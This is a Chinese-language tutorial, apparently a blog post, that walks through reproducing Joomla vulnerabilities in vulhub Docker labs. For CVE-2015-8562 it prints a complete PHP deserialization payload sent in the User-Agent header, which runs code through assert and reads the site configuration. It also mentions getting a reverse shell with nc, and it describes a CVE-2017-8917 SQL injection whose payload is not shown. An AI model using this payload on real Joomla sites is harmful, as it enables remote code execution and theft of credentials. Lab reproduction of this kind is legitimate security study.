目录
Joomla简介
Joomla!是一套全球知名的内容管理系统。 [1] Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.11 ,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。
环境搭建
- 切换到joomla相关目录下,部署docker环境
- cd /root/vulhub/joomla
- 选择自己想要复现的漏洞,切换到该目录下,运行以下命令
- docker-compose build
- docker-compose up -d
- 根据目录下的'README.zh-cn.md'文件提示访问目标网站
CVE-2015-8562 反序列化漏洞
漏洞产生原因
PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞复现
1.首先我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie
2.然后将User-Agent设置为以下内容,然后cookie设置为才刚目标网站返回的内容。
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:
{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:
{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"fee
d_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connectio
n";i:1;}
3. 然后利用burp的Repeater模块构造以下payload,进行发送。首次的数据会进入Mysql数据库。
。
4.然后我们在发送一次该数据包,可以看到代码被执行。
5.我们也可以使用大佬写的脚本,获取反弹shell。
6.nc得到目标服务器的响应,得到bash。
。
CVE-2017-8917 SQL注入漏洞
影响版本
- Joomla 3.7.0
漏洞复现
payload
然后用浏览器访问payload,成功报错。